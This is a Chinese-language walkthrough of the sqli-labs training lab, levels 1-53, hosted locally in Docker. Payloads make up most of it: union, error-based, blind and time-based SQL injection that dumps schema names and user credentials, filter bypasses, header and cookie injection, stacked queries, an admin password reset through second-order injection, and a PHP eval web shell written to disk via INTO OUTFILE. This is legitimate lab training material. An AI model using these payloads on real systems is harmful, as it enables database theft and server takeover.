Sqli-lab速刷记录(1-53)

之前很早写的,这几天把它补齐了。

[TOC]

Preparation

为了不干扰自己本机环境,sql-lab我就用的docker跑起来的,搭建也非常简单,也就两条命令

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docker pull acgpiano/sqli-labs

docker run -dt --name sqli-lab -p [你要映射的端口]:80 acgpiano/sqli-labs:latest

然后在sql-lab上直接初始化数据库就好了。

Basic

这里列举一下sql基础语句

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show databases;         //查看数据库

use xxx;                //使用某个数据库

show tables;            //查看该数据库的数据表

desc xxx;               //查看该数据表的结构

select * from xxx;      //查找某个数据表的所有内容

select schema_name from information_schema.schemata;        //猜数据库

select table_name from information_schema.tables where table_schema='xxxxx';                                //猜某数据库的数据表

Select column_name from information_schema.columns where table_name='xxxxx';                                //猜某表的所有列

left(a,b)       //从左侧截取 a 的前 b 

mid(column_name,start[,length])     //从位置start开始,截取column_name字符串的length位,与substr作用相同

substr(string, start, length)       //从位置start开始,截取字符串string的length长度,与mid作用相同

ascii()         //将某个字符转换成ascii码

ord()           //将某个字符转换成ascii码,同ascii()

SQLi-LABS Page-1(Basic Challenges)

Less-1

尝试添加’注入,发现报错

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You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这里我们就可以直接发现报错的地方,直接将后面注释,然后使用

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1' order by 3%23    //得到列数为3

//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23  //得到数据库名

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'#    //得到表名

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'#   //得到列名

-1' union select 1,username,password from users where id=3#     //爆破得到数据

Less-2

在添加’之后,得到返回

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You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以得到这个sql语句其实并没有单引号,只是用数字进行查询,例如

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select * from users where id=1

所以我们也可以跟上面一样,payloads:

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-1 or 1=1%23

Less-3

添加’之后,返回

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You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

可以得到大概的sql语句:

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select * from users where id=('input') LIMIT 0,1;

所以我们可以需要闭合)。

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-1') or 1=1%23

Less-4

尝试’并未发现报错,尝试"发现报错

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You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1 

可以得到大概的sql语句

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select * from users where id = ("input") LIMIT 0,1;

所以payload:

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-1") or 1=1 %23

其他注入语句同上 ,就不再一一列举了。

Less-5

尝试’发现报错

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You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

猜测sql语句为

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select * from users where id='input' LIMIT 0,1;

如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in...,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。

使用left()

例如我们可以使用1' and left(version(),1)=3%23这个payload进行测试,截取version()得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...,否则不返回。所以我们可以利用这个一步一步爆破得到left(version(),1)=5。爆破区间可以确定在/[0-9.]/

采用1'and length(database())=8%23对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()来进行爆破数据库名,采用left(database(),1)>'a'这个payload进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。

使用substr()、ascii()

也可以采用substr()、ascii()函数进行尝试:

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1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23     //截取数据库下第一个表的第一个字符与80ascii值进行对比

找第二个字符只需要改成substr('xxx',2,1)即可。
找第二个表改成limit 1,1

使用regexp()

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1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1;)%23
//users表中的列名是否有us**的列

使用ord()、mid()

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1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23
//cast(username AS CHAR)将username转换成字符串
//IFNULL(exp1,exp2)假如expr1不为NULL,则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。
//ord前文提过

使用报错注入

推荐一篇超详细的讲解报错注入的文章——Mysql报错注入原理分析(count()、rand()、group by)

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1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x#

1' union select (!(select * from (select user())x) - ~0),2,3 --+

1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+

1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

使用延时注入

benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。 benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

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1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

Less-6

没有回显,可以使用布尔盲注

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1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

可以发现>100有回显,小于就没有,也可以用报错注入…

这里就是把Less-5 中的'改成"就行了

Less-7

使用文件导出

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1'))UNION SELECT 1,2,3 into outfile "c:\\wamp\\www\\sqlli b\\Less-7\\uuu.txt"%23

1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+

Less-8

可以使用时间盲注,也可以用 bool 盲注

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1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-9

同 Less-8 可以使用时间盲注

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1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-10

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1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-11

报错注入,少一列就行了

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1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

Less-12

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1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

Less-13

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1') or 1=1#

成功登录,报错注入成功但是不回显,可以考虑盲注

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1') or ascii(substr((database()),1,1))>100#

Less-14

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1" or 1=1#

成功登录,依然不能回显,尝试使用布尔盲注

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1" or left(database(),1)='s'#

发现可以用updatexml进行报错注入

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1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

Less-15

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1' or 1=1#

成功登录,布尔注入或者时间盲注均可行

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1' or left(database(),1)='s'#
admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

Less-16

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1") or 1=1#

成功登录,布尔注入或者时间盲注均可行

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1") or left(database(),1)='s'#
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

Less-17

update注入,username过滤了很多,有password错误回显,考虑用报错注入

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1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

Less-18

登录成功后,页面提示

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Your IP ADDRESS is: 172.17.0.1
Your User Agent is: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

那么有可能是 ip 或者 UA 注入,看了一下发现是个 Header 头注入,这里需要注意这是登录成功的条件下才能触发的,而且既然是insert注入,需要用'1'='1闭合后面的 sql 语句,否则就是语法错误了

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' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1),"1","1")#

Less-19

登录成功后提示

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Your IP ADDRESS is: 172.17.0.1
Your Referer is: http://localhost:8081/Less-19/

于是我们可以知道是在Referer应该有注入点,在 Referer 处同样用

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' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

可以注入

Less-20

cookie 注入,登录成功后修改 cookie 即可

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' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

Less-21

登录成功后发现 cookie 加上了 base64

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YOUR COOKIE : uname = YWRtaW4=

用上面的 payload 进行 base64 编码就行了,记得=要 urlencode

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JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d

Less-22

同 21 ,单引号换成双引号即可

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IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d

Less-23

这里#--+均被过滤了,但是我们可以利用or "1"="1来闭合后面的双引号也可以达到我们的目的

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-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

Less-24

这里是个二次注入,我们可以先注册一个admin'#的账号,在修改密码处我们就可以以自己的密码修改 admin 的密码了,因为修改密码处形成的 sql 语句是

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UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx

这样#就注释掉了后面的 sql 语句

Less-25

题目很直接,提示直接把 orand过滤了,但是可以用&&||绕过

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admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

也可以双写绕过

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0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;#

Less-25a

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-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23

Less-26

题目提示空格与注释被过滤了,可以使用%0a绕过,可以盲注也可以报错注入

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0'||left(database(),1)>'s'%26%26'1'='1	
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

Less-26a

题目提示空格与注释被过滤了,可以使用%a0绕过,报错注入不出,可以用布尔盲注

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0'||'1'='1	#探测为'
0'||left(database(),1)='s'%26%26'1'='1

白盒审计知道是')
0%27)%a0union%a0select%a01,database(),2||('1
0%27)%a0union%a0select%a01,database(),2;%00

Less-27

题目提示unionselect被过滤了,可用大小写绕过

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0'||'1'='1
0'||left(database(),1)='s'%26%26'1'='1

0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

Less-27a

增加了"

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0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

Less-28

union select大小写均被过滤,但是select还可单独用,盲注即可

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0')||left(database(),1)>'s';%00

Less-28a

依然可以用盲注

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0')||left((database()),1)='s';%00
0')||left((selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata),1)<'s';%00

Less-29

利用tomcatapache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2tomcat取得1,apache取得2

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?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-30

与 29 架构一样,原理一致只不过加了"限制

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?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-31

架构一样,多了")

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?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-32

注意是GBK,可以用%df进行宽字节注入

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0%df%27%20or%201=1%23
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-33

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0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-34

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uname=0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23&passwd=1&submit=Submit

Less-35

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0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-36

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0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23
-1%EF%BF%BD%27union%20select%201,user(),3--+

Less-37

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uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit

Less-38

堆叠注入,成功创建test数据表

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1';create table test like users;%23

Less-39

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1;create table test39 like users;%23

Less-40

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1');create table test40 like users;%23

Less-41

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1;create table test41 like users;%23

Less-42

password处无过滤

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login_user=1&login_password=1'%3bcreate+table+test43+like+users%3b%23&mysubmit=Login

Less-43

password处无过滤

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login_user=1&login_password=1')%3bcreate+table+test43+like+users%3b%23&mysubmit=Login

Less-44

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login_user=1&login_password=1'%3bcreate+table+test44+like+users%3b%23&mysubmit=Login

Less-45

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login_user=1&login_password=1')%3bcreate+table+test45+like+users%3b%23&mysubmit=Login

Less-46

order by注入

usernamepassword均为列名,所以以下需要知道列名

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?order=if(1=1,username,password)
?order=null,if(1=1,username,password)
?order=(case when (1=1) then username else password end)
?order=ifnull(null, username)
?order=rand(1=1)    //order by rand(1)/rand(0)两者返回不一样
?order=(select 1 regexp if(1=1,1,0x00))

1=1换成bool盲注的语句函数即可用于获取数据 sort=rand(ascii(database(),1))=115)

时间盲注

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sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))
sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)

Bool 盲注

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rand(ascii(left(database()),1))=115)

报错注入:

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updatexml(1,if(1=1,concat(0x7e,version()),2),1)
(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

procedure analyse 参数后注入

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sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

into outfile参数:

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id=1 into outfield "path"

上传网马,可以在后面加上lines terminated by 16进制转码的数据

Less-47

',可以用报错

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1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

也可以用时间盲注

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1'and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

procedure analyse 参数后注入

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1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

Less-48

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1 and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+
sort=rand(ascii(left(database(),1))=115)

Less-49

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1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(5)))--+

Less-50

堆叠注入

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1;create table test50 like users;%23

Less-51

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1';create table test51 like users;%23

Less-52

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1;create table test52 like users;%23

Less-53

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1';create table test53 like users;%23
Licensed under CC BY-NC-SA 4.0

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